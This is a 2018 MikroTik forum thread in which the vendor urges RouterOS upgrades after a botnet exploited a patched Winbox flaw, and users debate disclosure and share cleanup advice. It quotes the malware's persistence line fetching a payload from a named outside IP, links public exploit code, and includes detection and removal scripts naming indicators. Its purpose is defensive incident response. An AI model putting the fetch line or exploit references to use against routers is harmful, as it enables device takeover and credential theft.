Winbox vulnerability: please upgrade

Thu Aug 02, 2018 1:34 pm

It has come to our attention that a rogue botnet is currently using the same vulnerability in the RouterOS Winbox service, that was patched in RouterOS v6.42.1 in April 23, 2018.

Since all RouterOS devices offer free upgrades with just two clicks, we urge you to upgrade your devices with the "Check for updates" button, if you haven't done so already.

Steps to be taken:

- Upgrade RouterOS to the latest release
- Change your password after upgrading
- Restore your configuration and inspect it for unknown settings. Delete SOCKS configurations, and any unknown scripts
- Implement a good firewall according to the article here: https://wiki.mikrotik.com/wiki/Manual:S ... our_Router

[UPDATED with specific versions]: Full details on what to do and what is affected: https://blog.mikrotik.com/security/winb ... ility.html

Since the attacker is inserting his script into the targeted routers and changing configuration in them, we recommend to carefully inspect the configuration of your device, restore it from verified backups or export files, and follow generic advice in the above links.

Samot · Thu Aug 02, 2018 1:41 pm

@normis, hey can you get this on the blog? I'd like the see any complainers cut off at the pass that this announcement didn't end up in the right spots.

Thu Aug 02, 2018 1:49 pm

@normis, hey can you get this on the blog? I'd like the see any complainers cut off at the pass that this announcement didn't end up in the right spots.

it's already in the blog, because it is the same vulnerability.

Samot · Thu Aug 02, 2018 1:51 pm

That's what I figured.

dada · Thu Aug 02, 2018 3:11 pm

Hi Normis,

what you wrote above may look for someone that 6.40.8 (bugfix) is not secure too. I would like you mention that this bugfix release is secure too (blog needs correction too but it mention that 6.40.8 is OK at least).

tippenring · Thu Aug 02, 2018 4:42 pm

@normis, hey can you get this on the blog? I'd like the see any complainers cut off at the pass that this announcement didn't end up in the right spots.

I'm with @Samot. If it's worth a forum post, it's worth posting a similar update to the blog. As soon as the blog was announced I added it to my important RSS feeds so I get fast notifications.
Maybe not a lot of people are monitoring the blog posts yet, but I think to err on the side of a little extra communication is warranted.

On forum posts if the subject line doesn't interest me, I would never read it.

Thu Aug 02, 2018 4:49 pm

On forum posts if the subject line doesn't interest me, I would never read it.

It is like: I do not like this song as I have never listened to it earlier and the title is boring me.

acruhl · Thu Aug 02, 2018 5:26 pm

I got a news article about this today through my Google feed. I immediately realized that this is a problem that has been fixed a while.

But I agree a short new blog post pointing to the earlier post would reduce confusion. People would be coming here looking for new information.

I hope it's clear to people that ports on public facing networks should be blocked using the firewall... Personally I leave ssh open but that's the only thing and I really hope that doesn't get hacked...

tippenring · Thu Aug 02, 2018 6:40 pm

On forum posts if the subject line doesn't interest me, I would never read it.
It is like: I do not like this song as I have never listened to it earlier and the title is boring me.

lol. Nice try, but the analogy is weak. A song can be in the background and doesn't consume any time.

This forum is very busy. I do not have time to read all the posts. I am notified of new/updated forum posts via email. A good subject line will get me spend the time to read the post.

Incidentally, I *really* wish the forum email notifications included the content of the post.

jbird · Thu Aug 02, 2018 9:25 pm

Hi Normis,

what you wrote above may look for someone that 6.40.8 (bugfix) is not secure too. I would like you mention that this bugfix release is secure too (blog needs correction too but it mention that 6.40.8 is OK at least).

So, is 6.40.8 secured against this vulnerability or is it not?

abjornson · Thu Aug 02, 2018 9:31 pm

I'd also really like confirmation on whether the latest bugfix ( 6.40.8 ) release has been patched for this vulnerability.

Kindis · Thu Aug 02, 2018 9:56 pm

According to changelog it is fixed

What's new in 6.40.8 (2018-Apr-23 11:34):

!) winbox - fixed vulnerability that allowed to gain access to an unsecured router;

ludvik · Thu Aug 02, 2018 10:28 pm

This vulnerablity is from 6.28. I try it:
https://github.com/BigNerd95/WinboxExploit
https://github.com/BasuCert/WinboxPoC

garethiowc · Fri Aug 03, 2018 12:15 am

this has caused me a nightmare

Lesson learnt that's for sure.

i'm so glad the script didn't reset any routers but still it's going to take a few days to sort them all out

kobuki · Fri Aug 03, 2018 12:58 am

This vulnerablity is from 6.28. I try it:
https://github.com/BigNerd95/WinboxExploit
https://github.com/BasuCert/WinboxPoC

On the first link WinboxExploit.py reveals that the admin password is stored in the clear in the device. It simply requests the userdb and prints stuff found at offset 55. Mind == blown.

Hopefully the userdb (and every bit doing anything with passwords in ROS) gets hashes for passwords from now on, and hopefully a modern one.

Janevski · Fri Aug 03, 2018 3:25 am

Hopefully, by using such zero day, somebody hacks, enters into MikroTik HQ, steals, borrows, forks, acquires by using magnets, liberates the source code and makes GNU/RouterOS, so no such zero day happens ever again.

LeftyTs · Fri Aug 03, 2018 3:47 am

Personally I leave ssh open but that's the only thing and I really hope that doesn't get hacked...

Even that could get hacked. It is exposed to annoying dictionary attacks all the time. Now days, best practice is to simply work through carefully secured and encrypted VPNs and nothing else open to the public.

vecernik87 · Fri Aug 03, 2018 6:59 am

@Normis: Thank you for the email. I know I was pain in the a** by repeatedly pointing it out, but I believe it was simply missed. It is a bit shame it took so long but I really appreciate this step in order to help RouterOS users secure their devices.
Please be assured that I never wanted to show any hostility against Mikrotik. All my posts were in pursuit of safety for other users, which will in the end help Mikrotik by improving relationship and trust with customers.

Fri Aug 03, 2018 8:54 am

Hopefully the userdb (and every bit doing anything with passwords in ROS) gets hashes for passwords from now on, and hopefully a modern one.

From "now on"? Really? Like stated repeatedly, this has been fixed a long time ago. This is just a reminder AGAIN to please upgrade, where all these things are fixed.

Fri Aug 03, 2018 9:11 am

Normis ...
It seems to be a fight with windmills ... this is era when most people read JUST THE TOPIC and do not read more than one sentence of news and most of them do not even want to think what they are reading about. Topic is all information they want to know.

SilverNodashi · Fri Aug 03, 2018 9:21 am

According to changelog it is fixed

What's new in 6.40.8 (2018-Apr-23 11:34):

!) winbox - fixed vulnerability that allowed to gain access to an unsecured router;

So why would they post this again if it was fixed in April?

Fri Aug 03, 2018 9:30 am

To not be blamed that they do nothing !!!!

Have you read carefully all recent posts on forum about this "problem"?

Mikrotik is almost blamed for not upgraded 70k+ routers in Brazil, that people are not informed and so on ...

PS.

Windmills +1

msatter · Fri Aug 03, 2018 9:59 am

In our country we have a lot of windmills and we don't fight them, we use them. However we have a "Bierkaai" and yes that has to do with beer...and not weed despite it arrives in the same city.

De Bierkaai was the quay in Amsterdam where the barrels of beer arrived and the porters worked who loaded and unloaded the heavy barrels with beer.
The residents of this part of Amsterdam were known as invincible fighters and seeking a fight with them, was one you absolutely would loose.

So whenever you come to Amsterdam to smoke, illegally produced weed then, ask about the "Bierkaai". It was a part of the "Oudezijds Voorburgwal", located near the "Oude Kerk".

I wrote on many occasions that security has improved in last time. And this security 'problem' was more than a wakeup call and it will have carry a lot of fallout and we are only at the beginning of that. I wrote about what cloud have/should have done in the past months to inform and warn owners of Mikrotik devices.

Others and I have written a lot of suggestions in the past in different topics and please do something with those suggestions and make a plan so that this will not happen again.
It might take drastic measures which are not seen before but having these kinds of problems can even kill a company, if trust in that company collapses.

Fri Aug 03, 2018 10:21 am

As Oude Kirk is about 5 min. walking from Central Station then most people start and end visiting Amsterdam do not crossing Damstraat and they are missing eg. Rembrandt's Museum. Not even trying to visit or just find any windmill Nederlands are famous for

CZFan · Fri Aug 03, 2018 10:49 am

I received an e-mail this morning from one of our Mikrotik distributors here in South Africa, and note this is not the first one I have received from them re Mikrotik Notice.

So to me, it looks like Mikrotik has done all it could to notify the users, well done Mikrotik, very proud to be a Mikrotik Evangelist

MTNotice.JPG

kobuki · Fri Aug 03, 2018 12:55 pm

Hopefully the userdb (and every bit doing anything with passwords in ROS) gets hashes for passwords from now on, and hopefully a modern one.
From "now on"? Really? Like stated repeatedly, this has been fixed a long time ago. This is just a reminder AGAIN to please upgrade, where all these things are fixed.

Yes, from "now on". Figuratively speaking - a few months is almost nothing when you have hundreds of thousands of devices out in the wild. As others already mentioned, do not expect people to promptly install your 0-day fix (as I recon, there were some communication glitches along the way, too). I still see neighborhood MT devices on way old versions in DCs around the globe. That aside, your quick reaction and fix is exemplary, so we should thank you for that. But please allow some of us to be a little skeptical after the fact that in 2018 you still stored (past tense) something as sensitive in the device as a password, in clear text. Anyway, hoping for the best and life goes on.

Fri Aug 03, 2018 2:06 pm

...Yes, from "now on". Figuratively speaking - a few months is almost nothing when you have hundreds of thousands of devices out in the wild. As others already mentioned, do not expect people to promptly install your 0-day fix (as I recon, there were some communication glitches along the way, too). I still see neighborhood MT devices on way old versions in DCs around the globe....

Figuratively asking: Are you saying that Mikrotik has hundreds of thousands devices? No, users are owners of them.

Should Mikrotik call/inform each user/owner and "persude" to upgrade? What if user says NO? What if admins in DC ignore such info?

I'm not "advocatus diaboli" of Mikrotik but you should apply right measure to the problem.

If car company makes mistake in a car it calls people to service point but someone ignoring this call will be using bad car forever.
If food company needs to collect some "bad" food from market, in spite of problems in production process, it is imposible to persudae anyone to return it. All owners could be asked to return but nothing more.

It all depends on users/owners will !!!

vecernik87 · Fri Aug 03, 2018 2:13 pm

So to me, it looks like Mikrotik has done all it could to notify the users, well done Mikrotik, very proud to be a Mikrotik Evangelist

The email was released AFTER the news about botnet. It again happened after negative publicity hit the media, despite the fact I was many times asking to send the email earlier.
It was same mistake as previous email, which was sent on March 2018 after whole world was floded with news about "vpnfilter" malware (which was using March 2017 webserver vulnerability)

I really want Mikrotik to succeed and I promote them around my business as I can, and if would be much easier, if emails come as preemptive actions instead of reaction to negative publicity in news.
I know they don't have to, but imagine how much positive publicity Mikrotik can get, if they proactively warn users after the vulnerability is found and fixed and before it gets massively misused. My personal opinion - it would be like a dream! And cost of mass email is not that high...

I definitely disagree with idea from this topic about home-calling routers, pushing users to update etc.. That is not necessary and create more issues than it solves.

msatter · Fri Aug 03, 2018 2:21 pm

AVM (Fritz!box) does it because they are in the SOHO area in which Mikrotik also more and more operative.

You can switch of automatic updates and be warned and even tell not to check. TR069 can also be disabled so you are the boss.

AVM sells routers in Germany, Poland, Netherlands, Belgium, Austria and Italy and many other countries. The premium ISP Xs4all in the Netherlands use Fritz!boxes as their customer device.

I replaced my Fritz!box because AVM is not anymore what it was in the past. I replaced it by Mikrotik but the Fritz!box is still doing WiFi, DECT, house automation.

I can pick up my phone and press a few butons to check if there is a update. If an update is waiting to be installed I get beep and a red light blinking on the DECT phone. I can upgrade by selecting the update and it will update the Fritz!box.

And yes, I have forbid the Fritz!box to check through the DNS server. No firewall rules needed.

kobuki · Fri Aug 03, 2018 2:41 pm

Figuratively asking: Are you saying that Mikrotik has hundreds of thousands devices? No, users are owners of them.

Should Mikrotik call/inform each user/owner and "persude" to upgrade? What if user says NO? What if admins in DC ignore such info?

I'm not "advocatus diaboli" of Mikrotik but you should apply right measure to the problem.

If car company makes mistake in a car it calls people to service point but someone ignoring this call will be using bad car forever.
If food company needs to collect some "bad" food from market, in spite of problems in production process, it is imposible to persudae anyone to return it. All owners could be asked to return but nothing more.

It all depends on users/owners will !!!

No arguments against the importance of applying updates in time by owners whatsoever. But you're aware that car makers get sued for dysfunctional parts or functional parts having design mistakes, right? That's because they didn't do everything in their power and ability to prevent problems leading to (fatal) accidents. It's exactly because you can't tell users what to do why you need to do everything you can to prevent disasters such as this. If the passwords were stored as (strong) hashes, the security hole didn't exist to begin with. Well, being able to get the user db is still a problem, but by far not as serious. The only thing I'm pissed about is the pw storage which has been allegedly fixed along with the Winbox sechole (and very quickly, at that). And don't get me wrong, I will continue to use and advocate MT devices, they're great but these small mishaps are the ones that usually ruin the reputation of any thriving company.

Fri Aug 03, 2018 2:54 pm

Once again:

I'm not "advocatus diaboli" of Mikrotik but you should apply right measure to the problem.

OK. There was a problem spotted and repaired ... a lot of programs/devices had, have and will have them ... period.

The problem is/was resolved ... time to apply cure. IF YOU WANT. If not ... stop blaming Mikrotik again and again for the past.

CZFan · Fri Aug 03, 2018 3:53 pm

Once again:
I'm not "advocatus diaboli" of Mikrotik but you should apply right measure to the problem.
OK. There was a problem spotted and repaired ... a lot of programs/devices had, have and will have them ... period.

The problem is/was resolved ... time to apply cure. IF YOU WANT. If not ... stop blaming Mikrotik again and again for the past.

Agree, and to mention it again, security will always be a "Reactive" problem

msatter · Fri Aug 03, 2018 4:57 pm

@CZFan, last you wrote that also but that thread was closed before I could read it.

Security is for 95% reacting to a attack the remaining 5% can cause more damage than the 95%.

I mentioned AVM, they had not long ago big hole in their VOIP system. It was patched and rolled out within a few weeks to all AVM routers. Mikrotik had months time.

https://www.cvedetails.com/cve/CVE-2015-7242/

excession · Fri Aug 03, 2018 5:54 pm

Since the attacker is inserting his script into the targeted routers and changing configuration in them, we recommend to carefully inspect the configuration of your device, restore it from verified backups or export files, and follow generic advice in the above links.

What sorts of changes are being made?
Are there particular modifications that might be indicative in a config?
Can we see some examples?
Many thanks.

msatter · Fri Aug 03, 2018 6:01 pm

A start can be found here: viewtopic.php?f=2&t=137375

Also check the blog for more information.

kobuki · Fri Aug 03, 2018 6:03 pm

Since the attacker is inserting his script into the targeted routers and changing configuration in them, we recommend to carefully inspect the configuration of your device, restore it from verified backups or export files, and follow generic advice in the above links.
What sorts of changes are being made?
Are there particular modifications that might be indicative in a config?
Can we see some examples?
Many thanks.

What potentially of interest is:
- change/activation of the socks service
- disabling "drop" rules in the fw (seen myself) or ones added allowing unconditional access (seen reported by others)
- unneeded/bogus/suspicious/deleted fw entries (reported by others)
- added suspicious scripts to system/scripts and associated scheduler entries
- deleted existing scripts (reported by others)

There might be others, too, do a search in the forums. I have regular backups using compact export .rsc files so I was able to do a diff and see all changes which I mentioned above, on a particular device.

Tonda · Fri Aug 03, 2018 7:49 pm

So what about version 6.40.8, is vulnerable or not? Could somebody from Mikrotik finally confirm it?

kobuki · Fri Aug 03, 2018 8:02 pm

So what about version 6.40.8, is vulnerable or not? Could somebody from Mikrotik finally confirm it?

Have you read the first post of this thread?

EDIT: hmm, now that you asked, and reading the blog post again, it's really not very apparent which version pertains to which release branch at a single glance. Both bugfix and recent stable releases are linear without additional marking. Although if you're fixated your updates on either of them you should be able to determine. 6.40.8 is the latest bugfix one, so it should be OK.

DummyPLUG · Fri Aug 03, 2018 8:39 pm

From https://wiki.mikrotik.com/wiki/Manual:IP/Services it said MAC winbox using 20561/udp, is that it is better to block this port too?

msatter · Fri Aug 03, 2018 9:09 pm

The MAC addressing is used inside the network (L2) and sometimes on the first hop to your ISP router/switch. MAC can't be blocked as discussed in other threads.

viewtopic.php?f=21&t=133533&p=656925&hi ... 51#p656925

Pea · Fri Aug 03, 2018 11:20 pm

So what about version 6.40.8, is vulnerable or not? Could somebody from Mikrotik finally confirm it?

Bugfix release tree
Release 6.40.8 2018-04-24
What's new in 6.40.8 (2018-Apr-23 11:34):
!) winbox - fixed vulnerability that allowed to gain access to an unsecured router;
https://mikrotik.com/download/changelog ... lease-tree

Moky · Fri Aug 03, 2018 11:31 pm

MikroTik is at the top of the news today - but, unfortunately, not in a good connotation.

It bothers me the most that they put it in the same basket as the cheap Chinese networking manufacturers and vulnerable IoT stuff.

There is no CVE number related to this vulnerability - why? The people are confused with what is this "new" vulnerability because there is no CVE and there is no identifier that will tell them that this is the same vulnerability.
This is a standard way of doing this stuff - you make a CVE and reference it in your announcements and advisories, as well as change history in RouterOS.

You can't blame all of this on users, there are things that can be fixed also from the MikroTik side.
I work in a big enterprise with large amount of products and vendors, and I do follow only security mailing lists and advisories - because of the old one: "if something works well, don't touch it" (I patch and upgrade it only when there is a security vulnerability or a functional issue). Another reason is that I don't have enough time to follow all of the different announcements.

I have a few suggestions:

For every vulnerability (even the smallest one) create a CVE number with dates, short description etc.
If the vulnerability is critical, create an IPS/IDS (Snort or similar) rules so the people can protect themselves before they can upgrade all of the infrastructure.
Create Security sub-forum where people can ask related questions and take advices (I've seen a lot of MikroTik Wireless and Routing gurus that don't have enough security awareness).
Create Security mailing list (the Blog you created is a nice step forward, but this is useful for "post event summary" and maybe not exactly for urgent security advisories).
Publish some security bug-bounty program and rewards - this way the chances are bigger that the security vulnerabilities will be reported to you and not sold on the DarkWeb or used by bad guys.

I really like MikroTik products and community - it really hurts when things like this happen (not to mention mocking that I get from our Cisco guys).

Kind regards,
Moky

gotsprings · Sat Aug 04, 2018 3:48 am

I made this to look for the common stuff. (Copy and paste into terminal.)


:if ([/ip socks get port] = 1080) do={:log info "Socks port is still Default."} else={:log info "Socks Port changed Possible infection!"}
:if ([/ip socks get enabled] = false) do={:log info "Socks is not on."} else={:log info "Socks is enabled... that could be bad!"}
:if ([:len [/file find name="mikrotik.php"]] > 0) do={:log info "!!!mikrotik.php!!! File Detected!"} else={:log info "mikrotik.php not found."}
:if ([:len [/file find name="Mikrotik.php"]] > 0) do={:log info "!!!Mikrotik.php!!! File Detected!"} else={:log info "Mikrotik.php not found."}
:if ([:len [/user find name="service"]] > 0) do={:log info "!!!YOU WERE BREACHED!!!"} else={:log info "No sign of the service user."}

Open you log and look at the results. If you have a result with "!" you might have a problem.

dsich · Sat Aug 04, 2018 10:13 am

i have found one of my customers router infected. How can i clean it remote?
I have changed the socks port to default and diabled. I have not found another user like admin. The passwort is changed. But in the files are the mikrotik.php. If i delete this, after 5 seconds its new.
Firmware now is 6.42.6. Its a HaP Lite. Winbox in Services is diabled, only Web over Port 80 is active and blocked from outside on my core router.

Thanks

CZFan · Sat Aug 04, 2018 10:30 am

This morning I received a mail directly from Mikrotik re vulnerability

MTNotice.JPG

JimmyNyholm · Sat Aug 04, 2018 11:17 am

I got the same Mail two days ago so perhaps they're having problem with the mail systems ?

gotsprings · Sat Aug 04, 2018 1:33 pm

i have found one of my customers router infected. How can i clean it remote?
I have changed the socks port to default and diabled. I have not found another user like admin. The passwort is changed. But in the files are the mikrotik.php. If i delete this, after 5 seconds its new.
Firmware now is 6.42.6. Its a HaP Lite. Winbox in Services is diabled, only Web over Port 80 is active and blocked from outside on my core router.

Thanks

Look in scripts and schedule.

dsich · Sat Aug 04, 2018 2:48 pm

Thats it! THX!

In scripts are

/tool fetch address=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http

R1CH · Sat Aug 04, 2018 3:27 pm

It's disappointing that both the httpd vulnerability and now the winbox vulnerability required mass exploitation before Mikrotik sent an email. Why not send these emails on day 1?

43north · Sun Aug 05, 2018 9:00 am

@normis we were hit with this on July 22nd. I was on a vulnerable firmware and the only service we had open was winbox but with no filtering and on the default port

.

I caught it in less than 24 hours because of the log file.

I had a backup config from a few days prior to the attack which I restored and then immediately upgraded to the latest current firmware release and routerboard firmware. Obviously reloading my prior backup undid all the changes that I noticed the bot put into my router (socks, script, scheduler, FW allow rule) etc. Can you confirm also that upgrading to the newest firmware actually cleans the malware?

Since then I have changed default port, only allowed IP SERVICES on local network, and setup mangle rules for anything that scans my current winbox port and adds it to a blacklist drop rule.

Sun Aug 05, 2018 9:20 am

43north ... you are using our forum ... you are posting ... why have you not upgraded your router earlier even you have had (I suppose) knowledge of the problem?

43north · Sun Aug 05, 2018 9:42 am

43north ... you are using our forum ... you are posting ... why have you not upgraded your router earlier even you have had (I suppose) knowledge of the problem?

Honestly I had never read the announcements section of the forum, I do now...... and will from here on out. My ignorance cost me, I know. Never again.

I appreciate any feedback anyone reference my post.

Sun Aug 05, 2018 9:59 am

Honestly I had never read the announcements section of the forum, I do now......

43north ... please do not take it personally

but this is the quotation of the month ... maybe even of the year.

43north · Sun Aug 05, 2018 10:09 am

Honestly I had never read the announcements section of the forum, I do now......
43north ... please do not take it personally but this is quotation of the month ... maybe even of the year.

I don't take it personal at all. It is my fault for not being more in tune. I own it 100%. Super frustrating. I appreciate the Mikrotik staff and what they do for us.

After reading some other posts I believe the steps that I took as I posted in this thread have mitigated any issues from the incident.

msatter · Sun Aug 05, 2018 10:28 am

43north ... you are using our forum ... you are posting ... why have you not upgraded your router earlier even you have had (I suppose) knowledge of the problem?
Honestly I had never read the announcements section of the forum, I do now...... and will from here on out. My ignorance cost me, I know. Never again.

I appreciate any feedback anyone reference my post.

169,999 Routers to go. So yours was not the only router that was taken over, that easily.

I keep an eye on the active topics that shows all postings that are recent. The trouble is that important postings like vulnerability posting drop as fast of the rest.
They are swiftly out of sight and you will miss them if you don't check in, several times a day.

Off quote but on topic, would this vulnerability had the highest CVE rating of 10?

Sun Aug 05, 2018 11:05 am

msatter:
https://forum.mikrotik.com/
or
viewforum.php?f=21

kobuki · Sun Aug 05, 2018 1:09 pm

...

Create Security mailing list (the Blog you created is a nice step forward, but this is useful for "post event summary" and maybe not exactly for urgent security advisories).
...

I think this one would be very useful. I for one am subscribed to multiple ones already, and do pay attention to what's announced there since they always concisely describe the issues and give the CVE number(s) where one can see the in-depth details. MT issues regular product and update emails, this is at least as important if not more. It's not enough to list simple update bullets like usual, the email sent out on the 2nd was by far more effective because of its detailed contents and warnings issued.

volkeu · Sun Aug 05, 2018 1:10 pm

I made this to look for the common stuff. (Copy and paste into terminal.)
...
Open you log and look at the results. If you have a result with "!" you might have a problem.

That's not really usable, is it? Besides, you still need to fix it, and upgrade afterwards.
Methinks, better to check and fix at the same time:

# Firewall auto-fix - dangerous if you had disabled drop rules before infection (can't imagine why, though)
:if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Firewall drop rules were disabled"; /ip firewall filter enable [find action=drop]}
:if ([:len [/ip firewall filter find chain=input action=accept dst-port="8291"]] > 0) do={:put "Winbox had default firewall accept rule";/ip firewall filter remove [find chain=input action=accept dst-port="8291"]}
# Use this if you need to check firewall rules manually
:if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Disabled firewall drop rules:"; /ip firewall filter print where  action=drop disabled}
# Winbox
:if ([/ip service get winbox disabled] != true) do={:put "Winbox was enabled"; /ip service disable winbox}
# Socks
:if ([/ip socks get port] != 1080) do={:put "Socks Port was not 1080"; /ip socks set port=1080}
:if ([/ip socks get enabled] != false) do={:put "Socks was enabled"; /ip socks set enabled=no}
:if ([:len [/ip socks access find src-address~"95.154.216.128"]] > 0) do={:put "ip socks access had rule for 95.154.216.128"; /ip socks access remove [find src-address~"95.154.216.128"]}
# Script and scheduler
:if ([:len [/system script find source~"ikrotik.php"]] > 0) do={:put "Script containing \"ikrotik.php\" found"; :foreach s in=[/system script find source~"ikrotik.php"] do={/system scheduler remove [find on-event~[/system script get $s name]]}; /system script remove [find source~"ikrotik.php"]}
# File mikrotik.php
:if ([:len [/file find name="mikrotik.php"]] + [:len [/file find name="Mikrotik.php"]] > 0) do={ :put "File [Mm]ikrotik.php was found"; /file remove [find name="mikrotik.php"]; /file remove [find name="Mikrotik.php"];}
# User "service"
:if ([:len [/user find name="service"]] > 0) do={:put "User \"service\" existed"; /user remove [find name="service"]}

I even made a bash script, since I needed to fix several dozen routers.
https://pastebin.com/GAtA2mZa

msatter · Sun Aug 05, 2018 1:22 pm

Course I know where announcements a located, I am not stupid.

I am calling for doing that bit extra to inform all and keep an important notice im the picture.Creating the notice in announcements hope al is going being right from there is not working as is proven now.

Mikrotik has room improve also with the blog and if we keep fighting eachother like we are doing now, instead of thinking how to improve the whole Mikrotik eco system.
It may lead to Mikotik thinking we have still support how we are doing, have all done in the past and so keeps sitting on the sideline.

If that happens, and it looks now like that, we will have the same discussion again all over in time.

CZFan · Sun Aug 05, 2018 2:26 pm

Atleast send a mail to the Mikrotik certified members

Sun Aug 05, 2018 2:34 pm

Mikrotik has room improve also with the blog...

Rhetorical question: Why people needs blogs, tweets or Facebook messages to feel beeing informed well?

excession · Sun Aug 05, 2018 3:04 pm

Thats it! THX!

In scripts are
Code: Select all
/tool fetch address=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http

Does anyone have the contents of the payload they can post? I've tried hitting the above but it's 404ing now.

Thanks

msatter · Sun Aug 05, 2018 3:37 pm

Mikrotik has room improve also with the blog...
Rhetorical question: Why people needs blogs, tweets or Facebook messages to feel beeing informed well?

Because Twitter and Facebook are not wideley accepted ways to communicate. Facebook is evil and Twitter 'rate limits' me so of the visits I make only 10% are successful views. This is not normal.

For me those two way of communicating don't fly.

The blog is there to have a central, always accessible information source. It is side to side with the forum, in which can be interacted.
The blog is a one way directional communication platform and so the information has to be complete and not redirect for further information to other sites. It has to be a single source.

gotsprings · Sun Aug 05, 2018 3:57 pm

I made this to look for the common stuff. (Copy and paste into terminal.)
...
Open you log and look at the results. If you have a result with "!" you might have a problem.

That's not really usable, is it? Besides, you still need to fix it, and upgrade afterwards.
Methinks, better to check and fix at the same time:

# Firewall auto-fix - dangerous if you had disabled drop rules before infection (can't imagine why, though)
:if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Firewall drop rules were disabled"; /ip firewall filter enable [find action=drop]}
:if ([:len [/ip firewall filter find chain=input action=accept dst-port="8291"]] > 0) do={:put "Winbox had default firewall accept rule";/ip firewall filter remove [find chain=input action=accept dst-port="8291"]}
# Use this if you need to check firewall rules manually
:if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Disabled firewall drop rules:"; /ip firewall filter print where  action=drop disabled}
# Winbox
:if ([/ip service get winbox disabled] != true) do={:put "Winbox was enabled"; /ip service disable winbox}
# Socks
:if ([/ip socks get port] != 1080) do={:put "Socks Port was not 1080"; /ip socks set port=1080}
:if ([/ip socks get enabled] != false) do={:put "Socks was enabled"; /ip socks set enabled=no}
:if ([:len [/ip socks access find src-address~"95.154.216.128"]] > 0) do={:put "ip socks access had rule for 95.154.216.128"; /ip socks access remove [find src-address~"95.154.216.128"]}
# Script and scheduler
:if ([:len [/system script find source~"ikrotik.php"]] > 0) do={:put "Script containing \"ikrotik.php\" found"; :foreach s in=[/system script find source~"ikrotik.php"] do={/system scheduler remove [find on-event~[/system script get $s name]]}; /system script remove [find source~"ikrotik.php"]}
# File mikrotik.php
:if ([:len [/file find name="mikrotik.php"]] + [:len [/file find name="Mikrotik.php"]] > 0) do={ :put "File [Mm]ikrotik.php was found"; /file remove [find name="mikrotik.php"]; /file remove [find name="Mikrotik.php"];}
# User "service"
:if ([:len [/user find name="service"]] > 0) do={:put "User \"service\" existed"; /user remove [find name="service"]}

I even made a bash script, since I needed to fix several dozen routers.
https://pastebin.com/GAtA2mZa

What I put up was to help you determine if you had "been hit". Since I don't know how everyone else in the world set up their routers... I WOULD NOT SCRIPT IN CHANGES. It was merely a "Use this to see if you have some of the common signs of this attack."

What I built for routers I configured, removed and made changes based me knowing what it was going to do to a system.

For instance... I have firewall drop rules that are enabled and disabled based on other input.
Example: If the main ISP is down and system is on cellular. Enable the drop rule on the forwarding of guest traffic.
Now one might argue turning off the accept rule from the guest network would have the same effect...
But placing this at the top of the forwarding chain and setting it to drop ANYTHING from source GuestSubnet will stop the traffic sooner. Especially if the detection script also flushed the connections.
That drop rule is also activated by scheduler as well.

So its pretty common for one of my routers to have several drop rules disabled under normal operations.

Also... shutting off winbox... that might be bad too.

How about adding a jump chain to blacklist an IP after several unsuccessful log ins... Seems like a great idea too. But not knowing how someone else wrote their firewall...
Or
How about requiring port knocking to people to reach the router at all..
Or
Limiting IP scopes where admin access is available.

Those are all ways to go... but what I put up there was only meant to "look for signs". Its still up to the user to decide what to do about it.

And in your "script scheduler"
There are a few other additions I found. The most common entries I found across A LOT OF ROUTERS were
Schedules named "a" and "schedule3_".
Scripts named "ip" and "script3_" saw one instance of something like "script1". Of those scripts.... some did not contain mikrotik.php at all.
So keep that in mind when "looking for signs"

43north · Sun Aug 05, 2018 8:37 pm

Thats it! THX!

In scripts are
Code: Select all
/tool fetch address=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http
Does anyone have the contents of the payload they can post? I've tried hitting the above but it's 404ing now.

Thanks

I grabbed the PHP file before fixing my router. I opened it with notepad and it was completely blank......

Mon Aug 06, 2018 8:30 am

It's disappointing that both the httpd vulnerability

We did fix and send on day one.

msatter · Mon Aug 06, 2018 9:43 am

It's disappointing that both the httpd vulnerability
We did fix and send on day one.

This is referring to this post: viewtopic.php?f=21&t=137572#p678156

rushlife · Mon Aug 06, 2018 10:35 am

According to changelog it is fixed

What's new in 6.40.8 (2018-Apr-23 11:34):

!) winbox - fixed vulnerability that allowed to gain access to an unsecured router;

So why would they post this again if it was fixed in April?

do you can read ?

msatter · Mon Aug 06, 2018 11:14 am

According to changelog it is fixed

What's new in 6.40.8 (2018-Apr-23 11:34):

!) winbox - fixed vulnerability that allowed to gain access to an unsecured router;

So why would they post this again if it was fixed in April?
do you can read ?

THEN, IS THIS CLEAR INFORMATION? All versions from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20) are vulnerable. Is your device affected? and ...the same vulnerability in the RouterOS Winbox service, that was patched in RouterOS v6.42.1 in April 23, 2018.

To me this is also obsolete and confusing information, one had to know what the status is on the second of August and the rest is history. Give information about the current required version you have to be not vulnerable and that has to be on top and repeated in the text. This required version can be even higher than the one on the 2018/04/23.

The bugfix is on 6.40.8, also vulnerable if you look at the text above. However the release date is 2018/04/23. This is confusing and you if you don't go and read the blog you woul'd not know what the status is of 6.40.8.

All those postings about 6.40.8 could have been not posted if only the TS had given complete and clear information.

Mon Aug 06, 2018 11:15 am

Well, the linked blog does include this information

Versions that include a fix: 6.40.8 [bugfix] or 6.42.1 [current] released on 25-mar-2018

We have added more details, so that it is more clear:

https://blog.mikrotik.com/security/winb ... ility.html

dada · Mon Aug 06, 2018 11:42 am

We have added more details, so that it is more clear:

https://blog.mikrotik.com/security/winb ... ility.html

thanks, it is much more clear now. Except that the 6.28 version is vulnerable too. I am able to read usernames/passwords from boards with this version using winbox vulnerability exploit code...

DummyPLUG · Mon Aug 06, 2018 12:43 pm

As other said make a CVE for each vulnerability, it is easier to know if we are taking about the same thing.
for example right now we know which winbox vulnerability we are talking about just because there is only one, if there is another one in future how can we know which one we are talking about? Winbox vulnerability 2017 &20xx?

kobuki · Mon Aug 06, 2018 12:46 pm

We have added more details, so that it is more clear:
https://blog.mikrotik.com/security/winb ... ility.html

It would be really useful to bump that post with today's date and tag with (UPDATED) or something.

msatter · Mon Aug 06, 2018 1:30 pm

Well, the linked blog does include this information

Versions that include a fix: 6.40.8 [bugfix] or 6.42.1 [current] released on 25-mar-2018
We have added more details, so that it is more clear:

https://blog.mikrotik.com/security/winb ... ility.html

I did write that the blog did contain that information about 6.40.8 and it is much clearer and that pleases me.

